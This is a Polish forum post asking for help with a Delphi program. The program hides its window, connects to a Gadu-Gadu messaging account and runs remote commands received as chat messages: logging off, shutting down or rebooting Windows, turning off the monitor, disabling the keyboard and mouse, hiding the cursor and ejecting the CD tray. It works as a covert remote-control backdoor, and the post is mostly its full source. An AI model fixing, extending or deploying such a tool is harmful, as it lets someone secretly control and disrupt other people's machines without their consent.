Zrobiłem taki mały skrypcik który łączy się z serwerem gg i po otrzymaniu wiad qwykouje czyli jak naprzykłąd dostanie -15 powinien otwierać cd. Tylko własnie wykonuje polecenia kiedy chce. Czy zrobiłem jakis błąd?:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  HGG, Registry, ShellApi, mmsystem;

type
  TForm1 = class(TForm)
    HGG1: THGG;
    procedure FormCreate(Sender: TObject);
    procedure HGG1Message(Sender: TObject; GGNumber: Integer;
      MessageContent: String; MessageTime: TDateTime);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Rej : TRegistry;
  cmd: String;
  komenda: TStringList;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
HGG1.Number := ***;
HGG1.Password := '***';
hgg1.Connect;
Application.ShowMainForm:=false;
end;


procedure TForm1.HGG1Message(Sender: TObject; GGNumber: Integer;
  MessageContent: String; MessageTime: TDateTime);
begin
cmd := Copy(MessageContent, 0, 4);
if cmd = '-1' then begin
ExitWindowsEx(EWX_LOGOFF,0);
end;
if cmd = '-2' then begin
ExitWindowsEx(EWX_POWEROFF,0);
end;
if cmd = '-3' then begin
ExitWindowsEx(EWX_REBOOT,0);
end;
if cmd = '-4' then begin
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

if cmd = '-5' then begin
ShellExecute(Handle,'open','rundll32','user,disableoemlayer',nil,SW_SHOWNORMAL);
end;

if cmd = '-6' then begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,1); 
//wyłączenie monitora
end;
if cmd = '-7' then begin
SendMessage(Application.Handle,wm_SysCommand,SC_MonitorPower,-1); 
//włączenie monitora
end;

if cmd = '-8' then begin
SendMessage(Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
end;

if cmd = '-9' then begin
ShellExecute(Handle,'open','rundll32','keyboard,disable',nil,SW_SHOWNORMAL);
end;
if cmd = '-10' then begin
ShellExecute(Handle,'open','rundll32','keyboard,enable',nil,SW_SHOWNORMAL);
end;
if cmd = '-11' then begin
ShellExecute(Handle,'open','rundll32','mouse,disable',nil,SW_SHOWNORMAL);
end;
if cmd = '-12' then begin
ShellExecute(Handle,'open','rundll32','mouse,enable',nil,SW_SHOWNORMAL);
end;

if cmd = '-13' then begin
ShowCursor(False);
end;
if cmd = '-14' then begin
ShowCursor(True);
end;
if cmd = '-15' then begin
mciSendString('Set cdaudio door open wait',nil,0,handle); // wysunięcie
end;
if cmd = '-16' then begin
mciSendString('Set cdaudio door closed wait',nil,0,handle); // wsunięcie
end;

end;
end.